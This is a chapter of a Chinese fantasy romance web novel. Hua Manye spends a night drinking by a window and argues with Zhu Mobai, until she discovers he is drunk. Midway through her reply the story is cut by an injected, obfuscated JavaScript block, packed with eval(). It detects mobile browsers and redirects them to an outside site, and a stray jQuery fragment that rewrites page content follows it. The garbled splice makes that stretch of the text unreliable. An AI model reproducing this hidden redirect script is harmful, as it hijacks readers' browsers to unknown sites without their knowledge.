花漫野今天的晚餐是在行宫吃的。
她觉得自己被忽悠了。
“又贵、又好吃、又有私密性”,能同时满足这三个条件的地方,除了行宫,还有哪里?
亏她以为会去什么魔界特色大酒楼,还特意准备了红尘药!
其实晚上吃得倒是不错,但她独自一人面对那父子俩时间久了,有点兴致缺缺,一点都不自在。
果然,没了合适的人在身边,再好的酒也都差点意思。
“唉……”
窗台上摆了好几坛子红尘药,她搬了张大椅子到窗边,散着头发、光着脚、抱着膝盖蜷在椅子里头晒月亮。
呆呆坐了一会儿,又给自己倒上一碗酒,端起来举得高高的。
“敬繁星!”
“这么喜欢星星吗?”
突然一个声音由身后响起,她吓得一哆嗦,差点没把酒洒了。
花漫野迅速转回头,顺势就要将酒泼出去,却在看清来人之后生生止住了动作。
但酒还是洒了一些,啧。
“寒烟?!你怎么回来了?不是还好多事儿吗?”
祝陌归面色平静,看着她把酒洒了一地也没说什么,却反问:
“怎么吓成这样,我回来的不是时候?”
“啊?不是,但是,你怎么进来的?”
“推门进来的。你连门都没锁,敲门也不应。”祝陌归视线牢牢锁着她,语气微冷。“明明一点防备都没有,见到是我却吓成这样。”
“就是因为没有防备才会吓一跳啊,谁来都会吓一跳的!
“不是,寒烟,别人走近我身边五十步以内我就会知道,但是你来我真的没察觉到,我干嘛对你的气息设防备啊?!”
花漫野见他误会了,还莫名其妙生了气,慌忙解释着。
她想到什么说什么,也不知道是哪句话说到了此人心坎上,眼见着他的表情缓和了许多。
她抓住这个机会,赶忙站起来,光脚跑两步、拉过另一张大椅子请祝陌归坐在自己旁边。
心想:
大半夜跑回来,一见面就闹脾气,肯定是回去以后有什么事不顺心了。
先哄哄再说。
她拿了个酒碗,问他:“陪我喝点?”
祝陌归坐在椅子上,也不答话,沉默着接过碗、伸手抄过一坛酒,给自己倒满、也给她倒满。
“敬千里皓月。”
一饮而尽。
他见她也陪着自己干了,又拉过酒坛子倒满一碗。
“敬初秋寒露。”
又是一饮而尽。
花漫野依然陪了。
他又倒了第三碗,还打算敬。
花漫野不陪了,再陪就赔了。这酒劲儿可大了,她刚才已经喝趴下俩人了不能这么一直干啊!
她拦下祝陌归的手,柔声商量道:
“寒烟,这第三碗,咱们缓缓再喝,先说说话呗?”
祝陌归盯着她的脸,放下举碗的手,终于主动说了今晚的第一句正常话:
“我有点担心你,来看看。”
“我说呢,但你传音传影就好了啊,怎么放下一堆事就跑回来了,多折腾。我就这么让你们不放心啊?非要亲眼见到人才行?”
花漫野笑着打趣。
但这似乎不好笑,她看见对方一脸认真盯着自己、点了点头。
她突然不知道说什么了,有点尴尬,而且不知为何心里毛毛的。
“啊哈哈,那个,你其实可以稍微放些心的。我这几天都没有冒进,很稳当,没有食言。而且平安。”
她说着,晃了晃自己左手手腕,示意对方有契约在。
祝陌归顺着话问她:“那,魔丹净化得还顺利?”
“顺利,本来今天就应该净化到行宫部的,但发生了个小插曲,所以就耽误了一天。不过已经解决了,明天就能继续。”
“什么插曲?”
花漫野被问得一滞。
她总觉得有点怪、但又说不上哪里怪,她没在意这一闪而过的情绪,专心说事情。
“其实是件小事。我和扈星帆借人家宅子净化碎片,不知被谁误会成暧昧关系了,传得还挺广,有点讨厌。
“这件事九婴和扈星帆都表现得很无辜,到底是不是有别人暗中推波助澜还未可知。
“好在我身份瞒得死,没几个人知道我是谁,不然若是被拿来大做文章会很麻烦。”
祝陌归道:“我听兄长说了,不过消息并未传出河界,被压得很好。”
花漫野送了一口气,摇头感慨:
“那可太好了!真传出去,朱雀族的脊梁骨得被戳断了!”
“你自己的名声就不要紧?”
“啊?”花漫野又是一噎。“也没那么要紧,又不是真的,不是什么大事。”
祝陌归一股气憋在胸口,他觉得自己就是来找不自在的。
什么叫“不是真的就不要紧”?
她还想是真的?
扈星帆那对贼眉鼠眼每天骨碌乱转、里面写的全是算计,之前能每天盯着、他还收敛些,现在自己刚走几天,就生出来这种离谱的传闻。
也就她花璨好骗,竟然会觉得扈星帆有可能无辜!
他本想再给花漫野强调一遍这件事的严重性,但话到了嘴边就变了味道。
“你不要觉得谁都是好人,尤其是我提醒过你、和他相处要多留心,他从来都不是良善之辈,你不要见他长得顺眼就被蒙蔽了!”
“我说,你兴师问罪来了?提醒就提醒,别扯别的,什么叫我被他长得顺眼、我就蒙蔽了,我怎么就、我???”
花漫野觉得自己突然被说成见色起意,莫名其妙到语无伦次,半天没说利索一句话。
直接气得一拍大腿、瘪嘴瞪眼看向外面,不说话了。
她这一结巴,反被祝陌归理解成了被说中了的反应。
他也懵了,她竟然真的觉得那家伙还挺顺眼?!
所以,她刚刚说的“也没那么要紧”,是真的不排斥他?
他给她灌了什么迷魂汤,才三四天的功夫就要把人哄走了,这怎么行?
祝陌归看着她的侧脸,语气很急,他问:
“你喜欢那种类型的?一身邪气、嘴里没一句实话,满心算计,就长得有点样子。总不至于凭一张脸就信他了?”
花漫野听着他越说越离谱,想辩解,可自己平日的牙尖嘴利都不知去了哪里,现在冤枉得要死却因为槽点过多而不知从何说起。
而祝陌归还在继续误会着,见她一直不说话,更急了。
“怎么不说话,因为我质疑他,所以你就一句话都不想和我说吗?”
花漫野真的服了,咋都不对,是不?
她深吸一口气,终于开口。
“第一,九婴和扈星帆是否无辜我并没有下定论,只是凭借扈星帆的表现和处境
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010547|175687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
推测应该不是他。
“第二,一个人长得怎么样并不会影响我对他的判断,你长得也好看,我对你有过什么失实的判断吗?
“第三,我哪句话说喜欢他了?我不说话是被你气的!
“最后!个人的名声重不重要取决于和什么比,如果我做得是心中所想、问心无愧,那就一定不会让那两个字来左右我的行为。”
花漫野连珠炮似的一条一条说完,捋清了每一条的逻辑关系,觉得这下应该解释清楚了。
祝陌归听了,果然陷入了短暂的沉默。
花漫野以为她把话说明白了,他就会冷静下来、就消气了,转头看着他,想和他心平气和说几句话。
祝陌归先开了口。
“所以,你一直不肯和他拉开距离,是因为心中所想的就是相信他,而我想让你和他拉开距离,就是在左右你、在故意气你,对吗?”
“对什么对啊!不对啊!!!“
他的声音的确冷了下来,但她要的是他‘冷静’下来……
相处这么久,花漫野第一次觉得祝寒烟说话的逻辑她听不懂。
他向来谨慎周全,委曲求全的事也不是没做过,但今天似乎完全在曲解自己的意思,两个人的思路无论如何都无法同频。
祝寒烟,你不是最讲道理吗?我的方朔君呢?
出于对祝陌归此人一贯的缜密逻辑的信任,即使已经处于崩溃之中、她也没有选择放弃,依然想着最后再解释一次。
她伸出手,隔着袖子按上祝陌归的手腕,柔声道:
“寒烟,你在保护我,我知道。你是因为担心所以连夜来找我,我也都懂。
“只是我要说明白,我一直在冷静衡量、也没有被蒙蔽双眼,请你和平常一样相信我、尊重我的判断,也相信我对你的承诺,好吗?”
谁知,祝陌归突然就愤怒了。
他委屈地皱起眉头,双眼写满了控诉:“好什么好!你刚才说我‘对什么对’,你明明在怀疑我的保护。你的承诺不可靠,说不会受伤、说会量力而行,全都不可靠!”
说完,他竟一甩袖子挥开了她的手,猛地站起来要走。
这下花漫野终于看出来哪里不对了:
他似乎只能联系到接着上一句话的内容说,而且专挑自己不爱听的话抓着就不放,所以今夜的对话内容才会十分奇诡。
太不对劲。
趁花漫野愣神的功夫,祝寒烟生着气从椅子上站起来就要回去。
她赶忙起身要追,却发现那人根本没转身去门口,他直直冲着面前开着的窗户就要往外迈!
花漫野赶紧拽他,他作势要甩开,她怕拽不住干脆从后面抱着这人往回拖。
但他其实压根没用力甩,花漫野还没使上力就把人按回了椅子里。
且这一拖不要紧,祝陌归今天晚上的所有反常都解释得通了:他身上一股熟悉的酒味——不是刚刚的红尘药,是千钟城的特产醉贪欢。
祖龙身上素有异香,他今日没有刻意收敛,酒气都被这股冷香盖住了大半。她刚离得稍远又喝着酒,所以没注意到。
祝陌归平日的酒量足以喝倒花熔璋,看这酒气的浓郁程度,怕是酒窖被搬空了大半。
花漫野叉腰望着此刻依然一脸阴沉坐在椅子里的人,真的气笑了。
“这哥喝醉了来找我辩论?合着我陪他跟脑筋急转弯似的解释了半宿,居然都是在哄他的醉话?!”